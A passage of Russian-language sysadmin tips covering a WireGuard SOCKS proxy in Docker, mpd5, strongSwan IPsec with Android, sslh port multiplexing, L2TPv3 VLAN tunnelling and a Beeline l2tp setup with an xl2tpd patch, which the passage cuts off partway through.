       services:
         wghttp:
           image: 'ghcr.io/zhsj/wghttp:latest'
           container_name: wghttp
           restart: always
           ports:
             - '1082:1082'
           environment:
             LISTEN: '0.0.0.0:1080' # SOCKS5 port optional default localhost:8080
             CLIENT_IP: 10.xx.xx.x
             PRIVATE_KEY: yHHxxxxxxxxxxxxxxxxxxxxxcH4Hk8=
             PEER_KEY: u57MDxxxxxxxxxxxxxxxxx7Pb1CMaP0Gk=
             PEER_ENDPOINT: 'xxxxxxxxxx.duckdns.org:4xxx4'
             DNS: 8.8.8.8  # optional
             MTU: 1450  # optional default 1280
            # PRESHARED_KEY=pupxxxxxxxxxxxxxxxxxxxxxxxxxxxxem4=  # optional
    
     
    ----* Как в mpd5 присвоить определенный номер для ng интерфейса (доп. ссылка 1)   Автор: Слава  [комментарии]
     
    Несколько интерфейсов, например два, можно сделать следующим образом:
    
       create bundle static NAME 
    
       create link static NAME1 TYPE 
       set link action bundle NAME 
    
       create link static NAME2 TYPE 
       set link action bundle NAME 
    
    В результате получится два интерфейса, у одного будет жестко ng0, у второго
    ng1, они появятся в системе сразу после запуска mpd, просто будут в DOWN, пока
    mpd не поднимет линки.
    
     
    ----* IPsec между Strongswan 5.0.4 (FreeBSD) и Strongswan 1.2.3 (Android) (доп. ссылка 1)   Автор: YetAnotherOnanym  [комментарии]
     
    1. Устанавливаем Strongswan на FreeBSD, компилируем ядро с поддержкой IPsec.
    Устанавливаем на Android Strongswan из Google Play.
    
    2. Создаём сертификаты. Сначала ключ и сертификат CA:
    
       openssl genrsa -out ipsec-test_CA_key.pem -aes256 -passout stdin 2048
    
       openssl req -x509 -new -sha512 -days 3652 -set_serial 0 -out ipsec-test_CA.pem \\
          -key ipsec-test_CA_key.pem -passin stdin -passout stdin -verbose \\
          -subj "/C=RU/ST=My state/L=My city/O=My IT Lab/OU=My CA dept\\
          /CN=My personal CA/emailAddress=me@mymailhost"
    
    3. После этого в /etc/ssl/openssl.cnf находим секцию "[usr_cert]" и добавляем
    строку с именем своего хоста:
    
       subjectAltName = DNS:ipsec-test.dyndns.org
    
    Это должно быть реально существующее DNS-имя - по нему Android будет находить
    стационарный хост. В данном случае, когда провайдер назначает на внешний
    интерфейс модема/роутера динамический "белый" IP-адрес, используется имя на
    бесплатном сервисе dyndns.org. С другими провайдерами возможны какие-то другие варианты.
    
    Создаём сертификат стационарного хоста (поскольку это первый сертификат нашего
    CA, указываем параметр -CAcreateserial)
    
       openssl genrsa -out 'ipsec-test.dyndns.org_key.pem' 2048
    
       openssl req -new -sha512 -days 3652 -out 'ipsec-test.dyndns.org_req.pem' \\
         -key 'ipsec-test.dyndns.org_key.pem' -passin stdin -passout stdin \\
         -subj "/C=RU/ST=My state/L=My city/O=My IT Lab/OU=My CA dept\\
         /CN=ipsec-test.dyndns.org/subjectAltName=DNS:ipsec-test.dyndns.org\\
         /emailAddress=me@mymailhost"
    
       openssl x509 -req -sha512 -days 3652 -extfile /etc/ssl/openssl.cnf \\
          -extensions "usr_cert" -CA ipsec-test_CA.pem -CAkey ipsec-test_CA_key.pem \\
          -CAcreateserial -CAserial ipsec-test_CA_serial \\
          -in 'ipsec-test.dyndns.org_req.pem' -out 'ipsec-test.dyndns.org_cert.pem'
    
    Строго говоря, указывать параметр "subjectAltName=DNS:ipsec-test.dyndns.org" в
    строке subject не обязательно, значение имеет расширение x.509v3, заданное в
    openssl.cnf. В строку subject этот параметр добавлен для красоты, на самом деле ;).
    
    Проверяем сертификат:
    
       openssl x509 -in ipsec-test.dyndns.org_cert.pem -text -noout
    
       Certificate:
       Data:
       Version: 3 (0x2)
       Serial Number:
       8a:55:5e:dd:bb:22:20:cc
       Signature Algorithm: sha512WithRSAEncryption
       Issuer: C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept,  CN=My personal CA/emailAddress=me@mymailhost
       Validity
       Not Before: Oct 14 23:13:38 2013 GMT
       Not After : Oct 14 23:13:38 2023 GMT
       Subject: C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, 
          CN=ipsec-test.dyndns.org/subjectAltName=DNS:ipsec-test.dyndns.org/emailAddress=me@mymailhost
       (...)
       X509v3 Subject Alternative Name:
       DNS:ipsec-test.dyndns.org
       (...)
    
    4. Теперь создадим ключ и сертификат для мобильного устройства. Вообще-то,
    параметр "subjectAltName" в openssl.cnf можно теперь не указывать
    (закомментировать) - это связано с тем, что мобильный Strongswan в качестве
    своего ID передаёт строку subject своего сертификата (при том, что сам требует
    от партнёра ID, совпадающий с FQDN или IP-адресом). Всё же для соблюдения
    единообразия зададим в openssl.cnf "subjectAltName = DNS:android" и сгенерируем сертификат:
    
       openssl genrsa -out android_key.pem 2048
       openssl req -new -sha512 -days 3652 -out android_req.pem \\
          -key android_key.pem -passin stdin -passout stdin \\
          -subj "/C=RU/ST=My state/L=My city/O=My IT Lab/OU=My CA dept\\
          /CN=android/subjectAltName=DNS:android/emailAddress=me@mymailhost"
    
    Проверяем сертификат:
    
       openssl x509 -in android_cert.pem -text -noout
    
       Certificate:
       Data:
       Version: 3 (0x2)
       Serial Number:
       8a:55:5e:dd:bb:22:20:cd
       Signature Algorithm: sha512WithRSAEncryption
       Issuer: C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept,    
         CN=My personal CA/emailAddress=me@mymailhost
       Validity
       Not Before: Oct 15 19:58:45 2013 GMT
       Not After : Oct 15 19:58:45 2023 GMT
       Subject: C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, CN=android/subjectAltName=DNS:android 
          /emailAddress=me@mymailhost
       (...)
    
    Теперь преобразуем сертификат в формат PKCS#12:
    
       openssl pkcs12 -export -out android_cert.p12 -in android_cert.pem \\
          -inkey android_key.pem -name Android -passout stdin -passin stdin
    
    5. Конвертируем сертификаты и ключи в формат DER (в debug-выводе charon
    присутствуют жалобы на плагин PEM, поэтому не будем пользоваться форматом PEM):
    
       openssl x509 -in ipsec-test_CA.pem -out ipsec-test_CA.der -inform pem -outform der 
       openssl rsa -in ipsec-test.dyndns.org_key.pem -out ipsec-test.dyndns.org_key.der -inform pem -outform der
       openssl x509 -in ipsec-test.dyndns.org_cert.pem -out ipsec-test.dyndns.org_cert.der -inform pem -outform der
       openssl x509 -in android_cert.pem -out android_cert.der -inform pem -outform
    
    Создаём ссылку:
    
       ln -s /etc/ssl/certs/ipsec-test/ipsec-test_CA.der /usr/local/etc/ipsec.d/cacerts
    
    6. Создаём файл конфигурации ipsec.conf:
    
       # ipsec.conf - strongSwan IPsec configuration file
       config setup
       # strictcrlpolicy=no
       # uniqueids = yes
       ca ipsec-test
       cacert = /etc/ssl/certs/ipsec-test/ipsec-test_CA.der
       conn android
       keyexchange = ikev2
       ike = AES_CBC_256-HMAC_SHA2_512-MODP4096
       esp = AES_CBC_256-HMAC_SHA2_256
       type = tunnel
       leftsourceip = 192.168.254.1
       rightsourceip = 192.168.254.2
       auto = start
       leftauth = pubkey
       rightauth = pubkey
       left = 192.168.203.3
       right = %any
       leftsubnet = 192.168.203.3
       leftca = "C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, CN=My personal CA/emailAddress=me@mymailhost"
       rightca = "C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, CN=My personal CA/emailAddress=me@mymailhost"
       leftcert = /etc/ssl/certs/ipsec-test/ipsec-test.dyndns.org_cert.der
       rightcert = /etc/ssl/certs/ipsec-test/android_cert.der
       leftid = "ipsec-test.dyndns.org"
       rightid = " C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, CN=android/subjectAltName=DNS:android/emailAddress=me@mymailhost"
    
    7. Создаём файл ipsec.secrets:
    
       "ipsec-test.dyndns.org" : RSA /etc/ssl/certs/ipsec-test/ipsec-test.dyndns.org_key.der
    
    8. Устанавливаем сертификаты на мобильное устройство. Копируем сертификат
    android_cert.p12 и сертификат УЦ ipsec-test_CA.crt (сменив расширение .pem на
    .crt - это существенно) в корень SD-карты мобильного устройства.
    
    Устанавливаем сертификаты: Настройки -> Безопасность -> Установить из памяти
    (Для сертификата в формате PKCS#12 надо буде ввести пароль, заданный в п.4).
    
    9. Настраиваем мобильный Strongswan. В качестве шлюза задаём FQDN стационарного
    хоста ipsec-test.dyndns.org (оно же будет и "peer ID"), тип - IKEv2 Сертификат,
    выбираем загруженный и установленный сертификат мобильного устройства,
    указываем вручную сертификат нашего УЦ (скриншот).
    
    10. Сохраняем, устанавливаем соединение. Вуаля!
    
    11. Проверяем состояние стационарного хоста (да, утилита setkey - это из
    racoon, но я к ней привык ;)):
    
       setkey -D
       192.168.203.3 XXX.XXX.XXX.XXX
       esp mode=tunnel spi=3944322401(0xeb199561) reqid=1(0x00000001)
       E: rijndael-cbc 7b45804f 3e75bd59 7092e7ac dae00600
       A: hmac-sha1 ec42cbbf e49848a9 72620762 bc97d0cb 6bfb8412
       seq=0x00000000 replay=32 flags=0x00000000 state=mature
       created: Oct 17 17:29:48 2013 current: Oct 17 17:30:05 2013
       diff: 17(s) hard: 3600(s) soft: 2957(s)
       last: hard: 0(s) soft: 0(s)
       current: 0(bytes) hard: 0(bytes) soft: 0(bytes)
       allocated: 0 hard: 0 soft: 0
       sadb_seq=1 pid=902 refcnt=1
       XXX.XXX.XXX.XXX 192.168.203.3
       esp mode=any spi=3276763214(0xc34f704e) reqid=1(0x00000001)
       E: rijndael-cbc 70c5b1df dc0932a9 d8c8558b bd44caf7
       A: hmac-sha1 f3161cbc 50952da1 c298b3af 77008587 8bbc4f1f
       seq=0x00000000 replay=32 flags=0x00000000 state=mature
       created: Oct 17 17:29:48 2013 current: Oct 17 17:30:05 2013
       diff: 17(s) hard: 3600(s) soft: 2560(s)
       last: hard: 0(s) soft: 0(s)
       current: 0(bytes) hard: 0(bytes) soft: 0(bytes)
       allocated: 0 hard: 0 soft: 0
       sadb_seq=0 pid=902 refcnt=1
       setkey -DP
       192.168.254.2[any] 192.168.203.3[any] any
       in ipsec
       esp/tunnel/XXX.XXX.XXX.XXX-192.168.203.3/unique:1
       created: Oct 17 17:29:48 2013 lastused: Oct 17 17:29:48 2013
       lifetime: 2147483647(s) validtime: 0(s)
       spid=4 seq=1 pid=917
       refcnt=1
       192.168.203.3[any] 192.168.254.2[any] any
       out ipsec
       esp/tunnel/192.168.203.3-XXX.XXX.XXX.XXX/unique:1
       created: Oct 17 17:29:48 2013 lastused: Oct 17 17:29:48 2013
       lifetime: 2147483647(s) validtime: 0(s)
       spid=3 seq=0 pid=917
       refcnt=1
    
    XXX.XXX.XXX.XXX - IP-адрес внешнего интерфейса шлюза провайдера (трафик проходит через NAT).
    
    В одной консоли запускаем "tcpdump -i ep1 -n host XXX.XXX.XXX.XXX", в другой -
    "ping 192.168.254.2":
    
       tcpdump -i ep1 -n host XXX.XXX.XXX.XXX
       listening on ep1, link-type EN10MB (Ethernet), capture size 65535 bytes
       17:34:49.316449 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: isakmp-nat-keep-alive
       17:34:50.578734 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: isakmp-nat-keep-alive
       17:35:06.825124 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x1), length 132
       17:35:07.826283 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x2), length 132
       17:35:08.827392 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x3), length 132
       17:35:09.094268 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x1), length 132
       17:35:09.154359 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x2), length 132
       17:35:09.194508 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x3), length 132
       17:35:09.828539 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x4), length 132
       17:35:09.953676 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x4), length 132
       17:35:10.503650 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: isakmp-nat-keep-alive
       17:35:10.829664 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x5), length 132
       17:35:10.954139 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x5), length 132
       17:35:30.327819 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: isakmp-nat-keep-alive
       17:35:31.118437 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: isakmp-nat-keep-alive
       17:35:50.332414 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: isakmp-nat-keep-alive
       17:35:52.174896 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: isakmp-nat-keep-alive
    
     
    ----* Мультиплексирование ssl/ssh соединений через один 443 порт (доп. ссылка 1)   [комментарии]
     
    В рамках проекта sslh (http://www.rutschle.net/tech/sslh.shtml) развивается
    мультиплексор ssl/ssh соединений, способный принимать соединения на одном порту
    и перебрасывать их в зависимости от типа протокола. Поддерживается широкий
    спектр протоколов, среди которых  HTTP, HTTPS, SSH, OpenVPN, tinc и XMPP.
    Наиболее востребованным применением sslh является обход межсетевых экранов,
    допускающих только ограниченное число открытых портов.
    
    Например, запустив sslh за пределами межсетевого экрана на 443 порту, можно
    организовать работу SSH и любых других протоколов: соединение с внешней системы
    будет производиться на 443 порт, но пробрасываться на локальный 22 порт, при
    этом штатные HTTPS-запросы будут перебрасываться на localhost:443.
    
    Для обеспечения работы такой схемы sslh следует запустить с опциями:
    
       sslh --user sslh --listen 192.168.10.15:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443
    
    где, "--user sslh" определяет пользователя, под которым следует запустить sslh;
    "--listen 192.168.10.15:443" - IP и порт для приёма внешних соединений;
    "--ssh 127.0.0.1:22" - IP и порт для проброса SSH
    "--ssl 127.0.0.1:443" - IP и порт для проброса HTTPS
    
     
    ----* Проброс 802.1q/access порта в Linux через IP-сеть   Автор: Roman Timofeev  [комментарии]
     
    В 2007 году я написал заметку с похожим названием.
    
    Тогда использовалась userspace-реализация с tap-интерфейсом и демоном vtund.
    Особой производительностью этот вариант не отличался.
    В свежих ядрах Linux появилась поддержка l2tpv3 ethernet pseudowire.
    
    Организуем l2-линк с udp-инкапсуляцией между двумя хостами laptus и gw:
    
       laptus# ip l2tp add tunnel tunnel_id 1 peer_tunnel_id 1 udp_sport 5000 \\
          udp_dport 5000 encap udp local 192.168.1.39 remote 213.x.x.x
       laptus# ip l2tp add session tunnel_id 1 session_id 1 peer_session_id 1
       laptus# ip a a 192.168.30.2/24 dev l2tpeth0
    
       gw# ip l2tp add tunnel tunnel_id 1 peer_tunnel_id 1 udp_sport 5000 \\
          udp_dport 11932 encap udp local 213.x.x.x remote 188.134.x.x
       gw# ip l2tp add session tunnel_id 1 session_id 1 peer_session_id 1
       gw# ip a a 192.168.30.1/24 dev l2tpeth0
    
    (так как машина laptus на NAT, то пришлось сначала сконфигурировать туннель на
    нём и запустить ping 192.168.30.1 и на внешнем интерфейсе gw "подсмотреть"
    ip:port, в который оттранслировались пакеты на выходе. Если у вас на обоих
    концах публичные ip - всё просто).
    
    Теперь попробуем сделать что-то полезное:
    
       laptus# ip link add link l2tpeth0 name vlan5 type vlan id 5
       laptus# ip link add link l2tpeth0 name vlan6 type vlan id 6
       laptus# ip a a dev vlan5 10.1.5.2/24
       laptus# ip a a dev vlan6 10.1.6.2/24
    
       gw# ip link add link l2tpeth0 name vlan5 type vlan id 5
       gw# ip link add link l2tpeth0 name vlan6 type vlan id 6
       gw# ip a a dev vlan5 10.1.5.1/24
       gw# ip a a dev vlan6 10.1.6.1/24
    
       laptus# ping 10.1.6.1
       PING 10.1.6.1 (10.1.6.1) 56(84) bytes of data.
       64 bytes from 10.1.6.1: icmp_req=1 ttl=64 time=5.77 ms
       64 bytes from 10.1.6.1: icmp_req=2 ttl=64 time=13.4 ms
       64 bytes from 10.1.6.1: icmp_req=3 ttl=64 time=17.6 ms
       ^C
       --- 10.1.6.1 ping statistics ---
       3 packets transmitted, 3 received, 0% packet loss, time 2002ms
       rtt min/avg/max/mdev = 5.776/12.295/17.671/4.922 ms
    
    при этом tcpdump -e -n -i l2tpeth0 на gw покажет:
    
       16:44:30.055082 b2:19:70:63:90:85 > 76:a9:12:12:c7:30, ethertype IPv4 (0x0800), length 98: 192.168.30.2 > 192.168.30.1: ICMP echo request, id 26927, seq 1376, length 64
       16:44:30.055116 76:a9:12:12:c7:30 > b2:19:70:63:90:85, ethertype IPv4 (0x0800), length 98: 192.168.30.1 > 192.168.30.2: ICMP echo reply, id 26927, seq 1376, length 64
       16:44:30.990689 b2:19:70:63:90:85 > 76:a9:12:12:c7:30, ethertype 802.1Q (0x8100), length 102: vlan 6, p 0, ethertype IPv4, 10.1.6.2 > 10.1.6.1: ICMP echo request, id 27037, seq 2, length 64
       16:44:30.990734 76:a9:12:12:c7:30 > b2:19:70:63:90:85, ethertype 802.1Q (0x8100), length 102: vlan 6, p 0, ethertype IPv4, 10.1.6.1 > 10.1.6.2: ICMP echo reply, id 27037, seq 2, length 64
    
    l2tpeth можно объединить бриджом с физическим интерфейсом. 
    выглядит это примерно так:
    
       root@atomus:~# ip a s l2tpeth0
    
       7: l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master vl0 state UNKNOWN qlen 1000
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
    
       root@atomus:~# ip a s vl0
    
       9: vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.1.10/24 brd 10.1.1.255 scope global vl0
    
       root@atomus:~# ip a s vlan5
    
       11: vlan5@vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.5.10/24 brd 10.1.5.255 scope global vlan5
    
       root@atomus:~# ip a s vlan222
    
       12: vlan222@vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.222.10/24 brd 10.1.222.255 scope global vlan222
    
       root@atomus:~# brctl show
    
       bridge name     bridge id               STP enabled     interfaces
       vl0             8000.1e7fecbdcf6a       no              l2tpeth0
    
       root@gw:~# ip a s vlan222
    
       68: vlan222@l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1488 qdisc noqueue state UP 
           link/ether c6:8c:43:30:88:03 brd ff:ff:ff:ff:ff:ff
           inet 10.1.222.1/24 brd 10.1.222.255 scope global vlan222
    
       root@gw:~# ip a s l2tpeth0
    
       64: l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
        link/ether c6:8c:43:30:88:03 brd ff:ff:ff:ff:ff:ff
        inet 10.1.1.1/24 brd 10.1.1.255 scope global l2tpeth0
    
       root@atomus:~# ping 10.1.5.1
       PING 10.1.5.1 (10.1.5.1) 56(84) bytes of data.
       64 bytes from 10.1.5.1: icmp_req=1 ttl=64 time=6.37 ms
       64 bytes from 10.1.5.1: icmp_req=2 ttl=64 time=5.53 ms
       ......
    
       root@atomus:~# ping 10.1.222.1
       PING 10.1.222.1 (10.1.222.1) 56(84) bytes of data.
       64 bytes from 10.1.222.1: icmp_req=1 ttl=64 time=10.0 ms
       64 bytes from 10.1.222.1: icmp_req=2 ttl=64 time=4.24 ms
       .....
    
    Как видим, к нам приходит тегированный трафик:
    
       root@gw:~# tcpdump -n -e -i l2tpeth0
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on l2tpeth0, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:21:33.962979 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 139, length 64
       19:21:33.963047 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 139, length 64
       19:21:33.986660 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 149, length 64
       19:21:33.986698 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 149, length 64
       19:21:35.165848 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 140, length 64
       19:21:35.165903 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 140, length 64
       19:21:35.168489 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 150, length 64
       ...
    
    а тут уже тегов нет:
    
       root@gw:~# tcpdump -n -e -i vlan5   
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on vlan5, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:22:17.038686 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 182, length 64
       19:22:17.038759 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 182, length 64
       19:22:18.041890 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 183, length 64
       19:22:18.041935 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 183, length 64
    
    
       root@gw:~# tcpdump -n -e -i vlan222
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on vlan222, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:23:14.155061 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 249, length 64
       19:23:14.155100 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 249, length 64
       19:23:15.150799 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 250, length 64
       19:23:15.150833 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 250, length 64
    
    если требуется "протащить" несколько trunk-интерфейсов, то достаточно сказать:
    
       ip l2tp add session tunnel_id 1 session_id 2 peer_session_id 2
    
    В рамках одно туннеля может быть 65535 сессий.
    
     
    ----* Подключения к Internet Beeline (Corbina) в Debian GNU/Linux 6 по протоколу l2tp (доп. ссылка 1)   Автор: Ilya  [комментарии]
     
    Руководство по настройке подключения к провайдеру Beeline (Corbina) в Debian 6 по протоколу l2tp.
    
    1. Локальное подключение: Ethernet 100Mb. Настройки по DHCP (локальный IP, маршруты, DNS серверы).
    
    2. Подключение к Internet: по протоколу l2tp через сервер tp.internet.beeline.ru.
    
    
    1.1. "Ловим" маршруты (у меня больше 30):
    
    В связи с увлеченностью Beeline технологиями от MS придется подправить dhclient.conf, заменяем 
    
       option rfc3442-classless-static-routes code 121 = array of unsigned integer 8;
    
    на
    
       option rfc3442-classless-static-routes code 249 = array of unsigned integer 8;
     
    далее добавляем в секцию "request" опцию "static-routes", а в директорию
    "/etc/dhcp/dhclient-exit-hooks.d/" скрипт (назовем его "static_routes"):
    
       RUN="yes"
       if [ "$RUN" = "yes" ]; then
            if [ "$new_static_routes" != "" ]; then
                    if [ "$reason" = "BOUND" ] || [ "$reason" = "REBOOT" ]; then
                            my_static_routes=($new_static_routes)
    
                            for(( i=0; i < ${#my_static_routes[@]}; i=i+2 )); do
    				/sbin/route add -host "${my_static_routes[$i]}" gw "${my_static_routes[$i+1]}"
                            done
                    fi
            fi
       fi
    
    В зтом скрипте я делаю допущение, что через опцию "static_routes" выдаются
    маршруты только к хостам, не к сетям (для Beeline это верно).
    
    Еще один нюанс - после поднятия интерфейса, в "dhclient.ethX.leases", у меня
    остается адрес сервера dhcp недостижимый по протоколу dhcp.
    
    Поэтому по истечению времени "renew" (у меня 3 дня) в log начинает сыпаться
    сообщения о недосягаемости dhcp сервера.
    
    Во избежании, добавим опцию: 
    
       supersede dhcp-server-identifier 255.255.255.255;
    
    Получаем что-то типа:
    
       option rfc3442-classless-static-routes code 249 = array of unsigned integer 8;
       supersede dhcp-server-identifier 255.255.255.255;
       request subnet-mask, broadcast-address, time-offset, routers, static-routes,
    	domain-name, domain-name-servers, domain-search, host-name,
    	netbios-name-servers, netbios-scope, interface-mtu,
    	rfc3442-classless-static-routes, ntp-servers;
    
    1.2. Подымаем интерфейс. Подправляем маршруты.
    
    Файл /etc/network/interfaces:
    
       iface ethX inet dhcp
          l2tpserv tp.internet.beeline.ru
          l2tpgw  10.xxx.xxx.xxx  # адрес шлюза - узнается экспериментально.
    
    Прописываем маршруты к DNS и к tp.internet.beeline.ru.
    Файл /etc/network/if-up.d/prel2tp: название может быть любое:
    
       #!/bin/sh
       BINROUTE=/sbin/route
       if [ "x$IF_L2TPSERV" != "x" -a "x$IF_L2TPGW" != "x" ]
       then
          for i in $(grep "^nameserver" /etc/resolv.conf | awk '{print $2}') ; do
             $BINROUTE add -host $i gw $IF_L2TPGW
          done
          $BINROUTE add -host $IF_L2TPSERV gw $IF_L2TPGW
       fi
       exit 0
    
    2.1. openl2tp vs. xl2tpd.
    
    openl2tp работает быстрее, ping (меньше и стабильней), но вечерами отваливается
    и уже после этого не подымается до поздней ночи.
    Еще пару раз при неудачной последовательности запуска вешал ядро. В общем сыроват.
    
    xl2tpd(l2tpd) - ужасный код, но легко читается и правится, нагрузка на CPU (с
    отключенным DEBUG 1-2 %), работает стабильно, при обрывах переподключается
    самостоятельно, маленький. Мой выбор xl2tpd.
    
    2.2. Настройка xl2tpd.
    
    В процессе тестирования, мной обнаружены ошибки влияющие на стабильность.
    Поэтому рекомендую пропатчить xl2tpd.
    
    1. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=611829
    
    2. Кого раздражает в "syslog" "write_packet: Resource temporarily
    unavailable(11)". Также, заплатка уменьшает вероятность потери пакета.
    
    Патч l2tp-offsetpad-error.patch:
    
       --- xl2tpd-1.2.7+dfsg.orig/network.c
       +++ xl2tpd-1.2.7+dfsg/network.c
       @@ -153,7 +153,7 @@ inline void fix_hdr (void *buf)
         {
             int len = 6;
             if (PSBIT (ver))
       -            len += 4;
       +            len += 2;
             if (PLBIT (ver))
                 len += 2;
             if (PFBIT (ver))
       --- xl2tpd-1.2.7+dfsg.orig/control.c
       +++ xl2tpd-1.2.7+dfsg/control.c
       @@ -1299,7 +1299,7 @@ inline int check_payload (struct buffer
     			}
     		} */
             if (PSBIT (h->ver))
       -            ehlen += 4;         /* Offset information */
       +            ehlen += 2;         /* Offset information */
             if (PLBIT (h->ver))
                 ehlen += h->length; /* include length if available */
             if (PVER (h->ver) != VER_L2TP)
       @@ -1365,7 +1365,7 @@ inline int expand_payload (struct buffer
         if (!PFBIT (h->ver))
             ehlen += 4;             /* Should have Ns and Nr too */
         if (!PSBIT (h->ver))
       -        ehlen += 4;             /* Offset information */
       +        ehlen += 2;             /* Offset information */
         if (ehlen)
         {
             /*
       @@ -1410,13 +1410,13 @@ inline int expand_payload (struct buffer
             {
                 r++;
                 new_hdr->o_size = *r;
       -            r++;
       -            new_hdr->o_pad = *r;
       +//            r++;
       +//            new_hdr->o_pad = *r;
             }
             else
             {
                 new_hdr->o_size = 0;
       -            new_hdr->o_pad = 0;
       +//            new_hdr->o_pad = 0;
             }
         }
         else
       @@ -1548,8 +1548,9 @@ inline int write_packet (struct buffer *
         /*
          * Skip over header 
          */
       -    buf->start += sizeof (struct payload_hdr);
       -    buf->len -= sizeof (struct payload_hdr);
       +    _u16 offset = ((struct payload_hdr*)(buf->start))->o_size;  // For FIXME:
